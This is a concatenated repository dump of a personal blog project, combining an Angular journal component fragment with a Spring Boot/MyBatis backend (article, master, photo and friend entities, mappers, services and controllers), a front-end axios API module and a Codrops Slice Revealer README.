ngOnInit() { this._journalService.getMessages() .subscribe(data => this.messages = data); } addMessage(date: Date, message: string) { this.messages.push({ "t": date, "m": message }) } } <file_sep>import { Component, OnInit, ViewChild } from '@angular/core'; import { MessageTagComponent } from './message-tag/message-tag.component'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.scss'] }) export class AppComponent implements OnInit { public date: Date; @ViewChild(MessageTagComponent) public messageTag: MessageTagComponent; ngOnInit() { } insetMessage(item) { this.messageTag.addMessage(item.t, item.m); } } <file_sep>import { Injectable } from '@angular/core'; // import { HttpClient } from 'selenium-webdriver/http'; import { HttpClient } from '@angular/common/http'; import { IJournalMessage } from './journal'; import { Observable } from 'rxjs/Observable'; @Injectable({ providedIn: 'root' }) export class JournalServiceService { private _url: string = "/assets/data/21Nov2018.json"; constructor(private http: HttpClient) { } getMessages(): Observable<IJournalMessage[]> { return this.http.get<IJournalMessage[]>(this._url); } } <file_sep>import { Component, OnInit, Output, EventEmitter } from '@angular/core'; @Component({ selector: 'app-message-input', templateUrl: './message-input.component.html', styleUrls: ['./message-input.component.scss'] }) export class MessageInputComponent implements OnInit { @Output() public messageEvent = new EventEmitter(); public value: string = ""; constructor() { } ngOnInit() { } saveMessage() { this.messageEvent.emit({ t: new Date(), m: this.value }); this.value = ""; } }
9e9d40b00cce055dff1833780d505b1a85a10d78
[ "TypeScript" ]
8
TypeScript
JeffrinManovaPrabahar/AngularJS
eeec2814417a5c434cc7b7b4df41ce6d0cd97cde
42b0a4f23d69c9e1e4a6a3e41ffaa47255981ebb
refs/heads/master
<file_sep>package com.example.demo.mapper; import com.example.demo.entity.Word; import com.example.demo.entity.WordExample; import java.util.List; public interface WordMapper { long countByExample(WordExample example); int deleteByPrimaryKey(Integer id); int insert(Word record); int insertSelective(Word record); List<Word> selectByExample(WordExample example); Word selectByPrimaryKey(Integer id); int updateByPrimaryKeySelective(Word record); int updateByPrimaryKey(Word record); }<file_sep>package com.example.demo.entity; import java.util.Date; public class Photo { private Integer id; private String photoAddr; private Date photoAdtime; private String photoInfo; private Integer photoMasterid; public Photo(Integer id, String photoAddr, Date photoAdtime, String photoInfo, Integer photoMasterid) { this.id = id; this.photoAddr = photoAddr; this.photoAdtime = photoAdtime; this.photoInfo = photoInfo; this.photoMasterid = photoMasterid; } public Photo() { super(); } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getPhotoAddr() { return photoAddr; } public void setPhotoAddr(String photoAddr) { this.photoAddr = photoAddr == null ? null : photoAddr.trim(); } public Date getPhotoAdtime() { return photoAdtime; } public void setPhotoAdtime(Date photoAdtime) { this.photoAdtime = photoAdtime; } public String getPhotoInfo() { return photoInfo; } public void setPhotoInfo(String photoInfo) { this.photoInfo = photoInfo == null ? null : photoInfo.trim(); } public Integer getPhotoMasterid() { return photoMasterid; } public void setPhotoMasterid(Integer photoMasterid) { this.photoMasterid = photoMasterid; } }<file_sep>package com.example.demo.service; import com.example.demo.entity.Master; import org.springframework.stereotype.Service; import java.util.List; @Service public interface MasterService { public Master getMasterById(Master master) throws Exception; public void saveMaster(Master master) throws Exception; public void deleteMasterById(Master master) throws Exception; public void updateMaster(Master master) throws Exception; public List<Master> getMasterByUserNameAndPassword(Master master) throws Exception; public List<Master> getMasterByUsername(Master master) throws Exception; } <file_sep>package com.example.demo.service; import com.example.demo.entity.ArticleType; import com.example.demo.entity.ArticleTypeExample; import com.example.demo.mapper.ArticleTypeMapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import javax.annotation.Resource; import java.util.List; @Service public class ArticleTypeServiceImp implements ArticleTypeService{ @Resource ArticleTypeMapper articleTypeMapper; @Override public List<ArticleType> getAllArticleType() throws Exception{ ArticleTypeExample example = new ArticleTypeExample(); ArticleTypeExample.Criteria criteria = example.createCriteria(); criteria.andArticletypeNameIsNotNull(); return articleTypeMapper.selectByExample(example); } } <file_sep>package com.example.demo.entity; import java.util.Date; public class Review { private Integer id; private Integer reviewArticleid; private Integer reviewMasterid; private String reviewContent; private Date reviewSdtime; private Integer reviewAuthorid; public Review(Integer id, Integer reviewArticleid, Integer reviewMasterid, String reviewContent, Date reviewSdtime, Integer reviewAuthorid) { this.id = id; this.reviewArticleid = reviewArticleid; this.reviewMasterid = reviewMasterid; this.reviewContent = reviewContent; this.reviewSdtime = reviewSdtime; this.reviewAuthorid = reviewAuthorid; } public Review() { super(); } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public Integer getReviewArticleid() { return reviewArticleid; } public void setReviewArticleid(Integer reviewArticleid) { this.reviewArticleid = reviewArticleid; } public Integer getReviewMasterid() { return reviewMasterid; } public void setReviewMasterid(Integer reviewMasterid) { this.reviewMasterid = reviewMasterid; } public String getReviewContent() { return reviewContent; } public void setReviewContent(String reviewContent) { this.reviewContent = reviewContent == null ? null : reviewContent.trim(); } public Date getReviewSdtime() { return reviewSdtime; } public void setReviewSdtime(Date reviewSdtime) { this.reviewSdtime = reviewSdtime; } public Integer getReviewAuthorid() { return reviewAuthorid; } public void setReviewAuthorid(Integer reviewAuthorid) { this.reviewAuthorid = reviewAuthorid; } }<file_sep>db.username= lyj db.password= <PASSWORD> db.url= jdbc:mysql://192.168.127.12:3306/mine?useUnicode=true&characterEncoding=utf-8 db.driverClassName= com.mysql.jdbc.Driver db.driverLocation= C:/Users/Mr.Liu/.m2/repository/mysql/mysql-connector-java/5.1.6/mysql-connector-java-5.1.6.jar<file_sep>package com.example.demo.entity; public class ArticleType { private Integer id; private String articletypeName; private String articletypeInfo; public ArticleType(Integer id, String articletypeName, String articletypeInfo) { this.id = id; this.articletypeName = articletypeName; this.articletypeInfo = articletypeInfo; } public ArticleType() { super(); } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getArticletypeName() { return articletypeName; } public void setArticletypeName(String articletypeName) { this.articletypeName = articletypeName == null ? null : articletypeName.trim(); } public String getArticletypeInfo() { return articletypeInfo; } public void setArticletypeInfo(String articletypeInfo) { this.articletypeInfo = articletypeInfo == null ? null : articletypeInfo.trim(); } }<file_sep>package com.example.demo.entity; import java.util.Date; public class Article { private Integer id; private Integer articleTypeid; private String articleTitle; private Integer articleCount; private Integer articleFrom; private Integer articleMasterid; private Date articleDate; private String articleContent; public Article(Integer id, Integer articleTypeid, String articleTitle, Integer articleCount, Integer articleFrom, Integer articleMasterid, Date articleDate) { this.id = id; this.articleTypeid = articleTypeid; this.articleTitle = articleTitle; this.articleCount = articleCount; this.articleFrom = articleFrom; this.articleMasterid = articleMasterid; this.articleDate = articleDate; } public Article(Integer id, Integer articleTypeid, String articleTitle, Integer articleCount, Integer articleFrom, Integer articleMasterid, Date articleDate, String articleContent) { this.id = id; this.articleTypeid = articleTypeid; this.articleTitle = articleTitle; this.articleCount = articleCount; this.articleFrom = articleFrom; this.articleMasterid = articleMasterid; this.articleDate = articleDate; this.articleContent = articleContent; } public Article() { super(); } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public Integer getArticleTypeid() { return articleTypeid; } public void setArticleTypeid(Integer articleTypeid) { this.articleTypeid = articleTypeid; } public String getArticleTitle() { return articleTitle; } public void setArticleTitle(String articleTitle) { this.articleTitle = articleTitle == null ? null : articleTitle.trim(); } public Integer getArticleCount() { return articleCount; } public void setArticleCount(Integer articleCount) { this.articleCount = articleCount; } public Integer getArticleFrom() { return articleFrom; } public void setArticleFrom(Integer articleFrom) { this.articleFrom = articleFrom; } public Integer getArticleMasterid() { return articleMasterid; } public void setArticleMasterid(Integer articleMasterid) { this.articleMasterid = articleMasterid; } public Date getArticleDate() { return articleDate; } public void setArticleDate(Date articleDate) { this.articleDate = articleDate; } public String getArticleContent() { return articleContent; } public void setArticleContent(String articleContent) { this.articleContent = articleContent == null ? null : articleContent.trim(); } }<file_sep>package com.example.demo.mapper; import com.example.demo.entity.Friend; import com.example.demo.entity.FriendExample; import java.util.List; public interface FriendMapper { long countByExample(FriendExample example); int deleteByPrimaryKey(Integer id); int insert(Friend record); int insertSelective(Friend record); List<Friend> selectByExample(FriendExample example); Friend selectByPrimaryKey(Integer id); int updateByPrimaryKeySelective(Friend record); int updateByPrimaryKey(Friend record); }<file_sep>package com.example.demo.entity; public class Friend { private Integer id; private Integer friendMasterid; private Integer friendFriendid; private Integer friendRename; public Friend(Integer id, Integer friendMasterid, Integer friendFriendid, Integer friendRename) { this.id = id; this.friendMasterid = friendMasterid; this.friendFriendid = friendFriendid; this.friendRename = friendRename; } public Friend() { super(); } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public Integer getFriendMasterid() { return friendMasterid; } public void setFriendMasterid(Integer friendMasterid) { this.friendMasterid = friendMasterid; } public Integer getFriendFriendid() { return friendFriendid; } public void setFriendFriendid(Integer friendFriendid) { this.friendFriendid = friendFriendid; } public Integer getFriendRename() { return friendRename; } public void setFriendRename(Integer friendRename) { this.friendRename = friendRename; } }<file_sep>define(["../common/axios.min"], function(axios) { return { getHotArticles(callback){ axios({ method: 'GET', url: '/mine/getHotArticle', }).then((respon)=> { callback(respon); }).catch((err)=> { alert("请求失败"); }) }, getArticleTypes(callback) { axios({ method: 'GET', url: '/mine/articleType/getAllArticleType', }).then((respon) => { callback(respon); }).catch((err) => { }) }, addArticle(Article,callback){ axios({ method: 'post', url: '/mine/article/saveArticle', data:{ "articleTypeid":Article.articleTypeid, "articleContent":Article.articleContent, "articleTitle":Article.articleTitle } }).then((respon)=> { callback(respon); }).catch((err)=> { }) ; }, deleteArticle(Article,callback){ axios({ method: 'post', url: '/mine/article/deleteArticleById', data:{ "id":Article.id, } }).then((respon)=> { callback(respon); }).catch((err)=> { }) ; }, updateArticle(Article,callback){ axios({ method: 'post', url: '/mine/article/alterArticle', data:{ "id":Article.id, "articleTypeid":Article.articleTypeid, "articleContent":Article.articleContent, "articleTitle":Article.articleTitle } }).then((respon)=> { callback(respon); }).catch((err)=> { }) ; } } } );<file_sep>package com.example.demo.util; import com.alibaba.fastjson.JSONObject; import javax.servlet.http.HttpServletRequest; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class PostHandle { public static JSONObject PostHandleJson(HttpServletRequest request){ try { BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); StringBuffer sb=new StringBuffer(); String s=null; while((s=br.readLine())!=null){ sb.append(s); } return JSONObject.parseObject(sb.toString()); } catch (IOException e) { e.printStackTrace(); return null; } } } <file_sep>package com.example.demo.service; import com.example.demo.entity.ArticleType; import org.springframework.stereotype.Service; import java.util.List; @Service public interface ArticleTypeService { public List<ArticleType> getAllArticleType() throws Exception; } <file_sep>package com.example.demo.controller; import com.alibaba.fastjson.JSONObject; import com.example.demo.entity.Article; import com.example.demo.entity.Master; import com.example.demo.service.ArticleService; import org.apache.catalina.User; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.util.Date; import java.util.HashMap; import java.util.Map; @Controller @RequestMapping(value = "article") public class ArticleController { @Autowired ArticleService articleService; @RequestMapping(value = "saveArticle") @ResponseBody public String saveArticle(@RequestBody Article article, HttpServletRequest request, HttpServletResponse response){ HttpSession session = request.getSession(); Master master = (Master) session.getAttribute("user"); JSONObject jsonObject = new JSONObject(); Map result = new HashMap(); if (master==null){ result.put("code", "01"); result.put("message", "请登录"); jsonObject.put("result", result); return jsonObject.toJSONString(); } if (article==null||article.getArticleContent()==null||article.getArticleTitle()==null||article.getArticleTypeid()==null){ result.put("code", "01"); result.put("message", "请填写完毕"); jsonObject.put("result", result); return jsonObject.toJSONString(); } article.setArticleCount(0); article.setArticleDate(new Date()); article.setArticleMasterid(master.getId()); article.setArticleFrom(0); try { articleService.saveArticle(article); } catch (Exception e) { e.printStackTrace(); result.put("code", "01"); result.put("message", "请填写完毕"); jsonObject.put("result", result); return jsonObject.toJSONString(); } result.put("code", "00"); result.put("message", "保存成功"); jsonObject.put("result", result); return jsonObject.toJSONString(); } @RequestMapping(value = "deleteArticleById") @ResponseBody public String deleteArticleById(@RequestBody Article article, HttpServletRequest request, HttpServletResponse response){ JSONObject jsonObject = new JSONObject(); Map result = new HashMap(); HttpSession session = request.getSession(); Master master = (Master)session.getAttribute("user"); if (master==null){ result.put("code", "01"); result.put("message", "请登录"); jsonObject.put("result", result); return jsonObject.toJSONString(); } if (article==null||article.getId()==null){ result.put("code", "01"); result.put("message", "操作失败"); jsonObject.put("result", result); return jsonObject.toJSONString(); } try { article = articleService.getArticleById(article); if (master.getId()!=article.getArticleMasterid()){ result.put("code", "01"); result.put("message", "没有操作权限"); jsonObject.put("result", result); return jsonObject.toJSONString(); } articleService.deleteArticle(article); } catch (Exception e) { e.printStackTrace(); result.put("code", "01"); result.put("message", "操作失败"); jsonObject.put("result", result); return jsonObject.toJSONString(); } result.put("code", "00"); result.put("message", "删除成功"); jsonObject.put("result", result); return jsonObject.toJSONString(); } } <file_sep># Slice Revealer A reveal effect where animated slices cover and uncover an image. Inspired by [<NAME>](https://dribbble.com/Zhenya_Artem)'s [transition experiments](https://dribbble.com/shots/4132057-Selected-Works-Transitions-Experiments). ![Slice Revealer](https://tympanus.net/codrops/wp-content/uploads/2018/02/SliceReveal.jpg) [Article on Codrops](https://tympanus.net/codrops/?p=33895) [Demo](https://tympanus.net/Development/SliceRevealer/) ## Credits - Images by [Unsplash.com](http://unsplash.com) - [anime.js](http://anime-js.com/) by <NAME> - [imagesLoaded](http://imagesloaded.desandro.com/) by <NAME> ## License This resource can be used freely if integrated or build upon in personal or commercial projects such as websites, web apps and web templates intended for sale. It is not allowed to take the resource "as-is" and sell it, redistribute, re-publish it, or sell "pluginized" versions of it. Free plugins built using this resource should have a visible mention and link to the original work. Always consider the licenses of all included libraries, scripts and images used. ## Misc Follow Codrops: [Twitter](http://www.twitter.com/codrops), [Facebook](http://www.facebook.com/codrops), [Google+](https://plus.google.com/101095823814290637419), [GitHub](https://github.com/codrops), [Pinterest](http://www.pinterest.com/codrops/), [Instagram](https://www.instagram.com/codropsss/) [© Codrops 2018](http://www.codrops.com) <file_sep>package com.example.demo.service; import com.example.demo.entity.Master; import com.example.demo.entity.MasterExample; import com.example.demo.mapper.MasterMapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import javax.annotation.Resource; import java.util.List; @Service public class MasterServiceImp implements MasterService{ @Resource MasterMapper masterMapper; @Override public Master getMasterById(Master master) throws Exception{ if (master!=null&&master.getId()!=null){ return masterMapper.selectByPrimaryKey(master.getId()); }else { return null; } } @Override public void saveMaster(Master master) throws Exception{ if (master!=null){ masterMapper.insert(master); } } @Override public void deleteMasterById(Master master) throws Exception{ if (master!=null){ masterMapper.deleteByPrimaryKey(master.getId()); } } @Override public void updateMaster(Master master) throws Exception{ if (master!=null){ masterMapper.updateByPrimaryKey(master); } } @Override public List<Master> getMasterByUserNameAndPassword(Master master) throws Exception{ if (master!=null){ MasterExample example = new MasterExample(); MasterExample.Criteria criteria = example.createCriteria(); criteria.andMasterUsernameIsNotNull(); criteria.andMasterPasswordEqualTo(master.getMasterPassword()); criteria.andMasterPasswordIsNotNull(); criteria.andMasterUsernameEqualTo(master.getMasterUsername()); return masterMapper.selectByExample(example); } return null; } @Override public List<Master> getMasterByUsername(Master master) throws Exception{ if (master!=null&&master.getMasterUsername()!=null&&!"".equals(master.getMasterUsername())){ MasterExample example = new MasterExample(); MasterExample.Criteria criteria = example.createCriteria(); criteria.andMasterUsernameEqualTo(master.getMasterUsername()); return masterMapper.selectByExample(example); } return null; } } <file_sep>define(["resolve"], function(resolve){ return [ { path: "/home", name: "home", component: resolve("../js/xx.js") }, { path: "/news", name: "news", component: resolve("../js/xx.js") } ]; });<file_sep>server.port=8060 spring.profiles.active=dev<file_sep>package com.example.demo.service; import com.example.demo.entity.Article; import org.springframework.stereotype.Service; import java.util.List; @Service public interface ArticleService { public Article getArticleById(Article article) throws Exception; public void updeArticle(Article article) throws Exception; public void deleteArticle(Article article) throws Exception; public void saveArticle(Article article) throws Exception; public List<Article> getHotArticle() throws Exception; } <file_sep>package com.example.demo.util; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.awt.*; import java.awt.image.BufferedImage; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.OutputStream; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; import java.util.List; import java.util.Random; public class UtilsMethods { public static BufferedImage string2img(String imgStr){ String[] list = imgStr.split("\n"); int fontSize = 18; int width = list[0].length()*fontSize; int height = list.length*fontSize; BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); // 获取图形上下文 Graphics g = image.getGraphics(); // 生成随机类 Random random = new Random(); // 设定背景色 g.setColor(new Color(255, 255, 255)); g.fillRect(0, 0, width, height); // 设定字体 g.setFont(new Font("宋体",Font.PLAIN,fontSize*2)); g.setColor(new Color(0,0,0)); for (int i=0;i<list.length;i++){ g.drawString(list[i], 0, fontSize*i); } g.dispose(); return image; } } <file_sep>package com.example.demo.entity; import java.util.ArrayList; import java.util.Date; import java.util.List; public class PhotoExample { protected String orderByClause; protected boolean distinct; protected List<Criteria> oredCriteria; public PhotoExample() { oredCriteria = new ArrayList<Criteria>(); } public void setOrderByClause(String orderByClause) { this.orderByClause = orderByClause; } public String getOrderByClause() { return orderByClause; } public void setDistinct(boolean distinct) { this.distinct = distinct; } public boolean isDistinct() { return distinct; } public List<Criteria> getOredCriteria() { return oredCriteria; } public void or(Criteria criteria) { oredCriteria.add(criteria); } public Criteria or() { Criteria criteria = createCriteriaInternal(); oredCriteria.add(criteria); return criteria; } public Criteria createCriteria() { Criteria criteria = createCriteriaInternal(); if (oredCriteria.size() == 0) { oredCriteria.add(criteria); } return criteria; } protected Criteria createCriteriaInternal() { Criteria criteria = new Criteria(); return criteria; } public void clear() { oredCriteria.clear(); orderByClause = null; distinct = false; } protected abstract static class GeneratedCriteria { protected List<Criterion> criteria; protected GeneratedCriteria() { super(); criteria = new ArrayList<Criterion>(); } public boolean isValid() { return criteria.size() > 0; } public List<Criterion> getAllCriteria() { return criteria; } public List<Criterion> getCriteria() { return criteria; } protected void addCriterion(String condition) { if (condition == null) { throw new RuntimeException("Value for condition cannot be null"); } criteria.add(new Criterion(condition)); } protected void addCriterion(String condition, Object value, String property) { if (value == null) { throw new RuntimeException("Value for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value)); } protected void addCriterion(String condition, Object value1, Object value2, String property) { if (value1 == null || value2 == null) { throw new RuntimeException("Between values for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value1, value2)); } public Criteria andIdIsNull() { addCriterion("id is null"); return (Criteria) this; } public Criteria andIdIsNotNull() { addCriterion("id is not null"); return (Criteria) this; } public Criteria andIdEqualTo(Integer value) { addCriterion("id =", value, "id"); return (Criteria) this; } public Criteria andIdNotEqualTo(Integer value) { addCriterion("id <>", value, "id"); return (Criteria) this; } public Criteria andIdGreaterThan(Integer value) { addCriterion("id >", value, "id"); return (Criteria) this; } public Criteria andIdGreaterThanOrEqualTo(Integer value) { addCriterion("id >=", value, "id"); return (Criteria) this; } public Criteria andIdLessThan(Integer value) { addCriterion("id <", value, "id"); return (Criteria) this; } public Criteria andIdLessThanOrEqualTo(Integer value) { addCriterion("id <=", value, "id"); return (Criteria) this; } public Criteria andIdIn(List<Integer> values) { addCriterion("id in", values, "id"); return (Criteria) this; } public Criteria andIdNotIn(List<Integer> values) { addCriterion("id not in", values, "id"); return (Criteria) this; } public Criteria andIdBetween(Integer value1, Integer value2) { addCriterion("id between", value1, value2, "id"); return (Criteria) this; } public Criteria andIdNotBetween(Integer value1, Integer value2) { addCriterion("id not between", value1, value2, "id"); return (Criteria) this; } public Criteria andPhotoAddrIsNull() { addCriterion("Photo_addr is null"); return (Criteria) this; } public Criteria andPhotoAddrIsNotNull() { addCriterion("Photo_addr is not null"); return (Criteria) this; } public Criteria andPhotoAddrEqualTo(String value) { addCriterion("Photo_addr =", value, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrNotEqualTo(String value) { addCriterion("Photo_addr <>", value, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrGreaterThan(String value) { addCriterion("Photo_addr >", value, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrGreaterThanOrEqualTo(String value) { addCriterion("Photo_addr >=", value, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrLessThan(String value) { addCriterion("Photo_addr <", value, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrLessThanOrEqualTo(String value) { addCriterion("Photo_addr <=", value, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrLike(String value) { addCriterion("Photo_addr like", value, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrNotLike(String value) { addCriterion("Photo_addr not like", value, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrIn(List<String> values) { addCriterion("Photo_addr in", values, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrNotIn(List<String> values) { addCriterion("Photo_addr not in", values, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrBetween(String value1, String value2) { addCriterion("Photo_addr between", value1, value2, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAddrNotBetween(String value1, String value2) { addCriterion("Photo_addr not between", value1, value2, "photoAddr"); return (Criteria) this; } public Criteria andPhotoAdtimeIsNull() { addCriterion("Photo_adTime is null"); return (Criteria) this; } public Criteria andPhotoAdtimeIsNotNull() { addCriterion("Photo_adTime is not null"); return (Criteria) this; } public Criteria andPhotoAdtimeEqualTo(Date value) { addCriterion("Photo_adTime =", value, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoAdtimeNotEqualTo(Date value) { addCriterion("Photo_adTime <>", value, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoAdtimeGreaterThan(Date value) { addCriterion("Photo_adTime >", value, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoAdtimeGreaterThanOrEqualTo(Date value) { addCriterion("Photo_adTime >=", value, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoAdtimeLessThan(Date value) { addCriterion("Photo_adTime <", value, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoAdtimeLessThanOrEqualTo(Date value) { addCriterion("Photo_adTime <=", value, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoAdtimeIn(List<Date> values) { addCriterion("Photo_adTime in", values, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoAdtimeNotIn(List<Date> values) { addCriterion("Photo_adTime not in", values, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoAdtimeBetween(Date value1, Date value2) { addCriterion("Photo_adTime between", value1, value2, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoAdtimeNotBetween(Date value1, Date value2) { addCriterion("Photo_adTime not between", value1, value2, "photoAdtime"); return (Criteria) this; } public Criteria andPhotoInfoIsNull() { addCriterion("Photo_info is null"); return (Criteria) this; } public Criteria andPhotoInfoIsNotNull() { addCriterion("Photo_info is not null"); return (Criteria) this; } public Criteria andPhotoInfoEqualTo(String value) { addCriterion("Photo_info =", value, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoNotEqualTo(String value) { addCriterion("Photo_info <>", value, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoGreaterThan(String value) { addCriterion("Photo_info >", value, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoGreaterThanOrEqualTo(String value) { addCriterion("Photo_info >=", value, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoLessThan(String value) { addCriterion("Photo_info <", value, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoLessThanOrEqualTo(String value) { addCriterion("Photo_info <=", value, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoLike(String value) { addCriterion("Photo_info like", value, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoNotLike(String value) { addCriterion("Photo_info not like", value, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoIn(List<String> values) { addCriterion("Photo_info in", values, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoNotIn(List<String> values) { addCriterion("Photo_info not in", values, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoBetween(String value1, String value2) { addCriterion("Photo_info between", value1, value2, "photoInfo"); return (Criteria) this; } public Criteria andPhotoInfoNotBetween(String value1, String value2) { addCriterion("Photo_info not between", value1, value2, "photoInfo"); return (Criteria) this; } public Criteria andPhotoMasteridIsNull() { addCriterion("Photo_masterID is null"); return (Criteria) this; } public Criteria andPhotoMasteridIsNotNull() { addCriterion("Photo_masterID is not null"); return (Criteria) this; } public Criteria andPhotoMasteridEqualTo(Integer value) { addCriterion("Photo_masterID =", value, "photoMasterid"); return (Criteria) this; } public Criteria andPhotoMasteridNotEqualTo(Integer value) { addCriterion("Photo_masterID <>", value, "photoMasterid"); return (Criteria) this; } public Criteria andPhotoMasteridGreaterThan(Integer value) { addCriterion("Photo_masterID >", value, "photoMasterid"); return (Criteria) this; } public Criteria andPhotoMasteridGreaterThanOrEqualTo(Integer value) { addCriterion("Photo_masterID >=", value, "photoMasterid"); return (Criteria) this; } public Criteria andPhotoMasteridLessThan(Integer value) { addCriterion("Photo_masterID <", value, "photoMasterid"); return (Criteria) this; } public Criteria andPhotoMasteridLessThanOrEqualTo(Integer value) { addCriterion("Photo_masterID <=", value, "photoMasterid"); return (Criteria) this; } public Criteria andPhotoMasteridIn(List<Integer> values) { addCriterion("Photo_masterID in", values, "photoMasterid"); return (Criteria) this; } public Criteria andPhotoMasteridNotIn(List<Integer> values) { addCriterion("Photo_masterID not in", values, "photoMasterid"); return (Criteria) this; } public Criteria andPhotoMasteridBetween(Integer value1, Integer value2) { addCriterion("Photo_masterID between", value1, value2, "photoMasterid"); return (Criteria) this; } public Criteria andPhotoMasteridNotBetween(Integer value1, Integer value2) { addCriterion("Photo_masterID not between", value1, value2, "photoMasterid"); return (Criteria) this; } } public static class Criteria extends GeneratedCriteria { protected Criteria() { super(); } } public static class Criterion { private String condition; private Object value; private Object secondValue; private boolean noValue; private boolean singleValue; private boolean betweenValue; private boolean listValue; private String typeHandler; public String getCondition() { return condition; } public Object getValue() { return value; } public Object getSecondValue() { return secondValue; } public boolean isNoValue() { return noValue; } public boolean isSingleValue() { return singleValue; } public boolean isBetweenValue() { return betweenValue; } public boolean isListValue() { return listValue; } public String getTypeHandler() { return typeHandler; } protected Criterion(String condition) { super(); this.condition = condition; this.typeHandler = null; this.noValue = true; } protected Criterion(String condition, Object value, String typeHandler) { super(); this.condition = condition; this.value = value; this.typeHandler = typeHandler; if (value instanceof List<?>) { this.listValue = true; } else { this.singleValue = true; } } protected Criterion(String condition, Object value) { this(condition, value, null); } protected Criterion(String condition, Object value, Object secondValue, String typeHandler) { super(); this.condition = condition; this.value = value; this.secondValue = secondValue; this.typeHandler = typeHandler; this.betweenValue = true; } protected Criterion(String condition, Object value, Object secondValue) { this(condition, value, secondValue, null); } } }<file_sep>package com.example.demo.util; public class MineConstats { public static final String RESOURCE_STASTIC = "src/main/resources/static"; } <file_sep>package com.example.demo.controller; import com.alibaba.fastjson.JSONObject; import com.example.demo.entity.Article; import com.example.demo.mapper.customMapper.ArticleMapperCustom; import com.example.demo.service.ArticleService; import com.example.demo.util.Img2String; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.core.io.ClassPathResource; import org.springframework.http.HttpRequest; import org.springframework.stereotype.Controller; import org.springframework.util.ResourceUtils; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.annotation.Resource; import javax.imageio.ImageIO; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.xml.ws.RequestWrapper; import java.awt.image.BufferedImage; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.List; @Controller public class indexController { private static String BGPATH = "static/SliceRevealer/img"; private static String HTMLBGPATH = "/mine/SliceRevealer/img"; @Autowired ArticleService articleService; @RequestMapping(value = "/") public String index(HttpServletRequest request, HttpServletResponse response) { JSONObject jsonObject = new JSONObject(); try { ClassPathResource classPathResource = new ClassPathResource(BGPATH); jsonObject = findFileList(classPathResource.getFile()); } catch (Exception e) { e.printStackTrace(); } request.setAttribute("bgImgs", jsonObject); request.setAttribute("user", request.getSession().getAttribute("user")); return "main"; } @RequestMapping(value = "getHotArticle") @ResponseBody public String getHotArticle(HttpServletRequest request, HttpServletResponse response){ JSONObject jsonObject = new JSONObject(); List<Article> articles = null; try { articles = articleService.getHotArticle(); } catch (Exception e) { e.printStackTrace(); } jsonObject.put("hotArticles",articles); return jsonObject.toJSONString(); } //返回目录下所有是文件的名字,json public JSONObject findFileList(File dir) { JSONObject jsonObject = new JSONObject(); if (!dir.exists() || !dir.isDirectory()) {// 判断是否存在目录 return jsonObject; } String[] files = dir.list();// 读取目录下的所有目录文件信息 for (int i = 0; i < files.length; i++) {// 循环,添加文件名或回调自身 File file = new File(dir, files[i]); if (file.isFile()) {// 如果文件 jsonObject.put(String.valueOf(i), HTMLBGPATH+"/"+file.getName()); } } return jsonObject; } } <file_sep>package com.example.demo.mapper; import com.example.demo.entity.Photo; import com.example.demo.entity.PhotoExample; import java.util.List; public interface PhotoMapper { long countByExample(PhotoExample example); int deleteByPrimaryKey(Integer id); int insert(Photo record); int insertSelective(Photo record); List<Photo> selectByExample(PhotoExample example); Photo selectByPrimaryKey(Integer 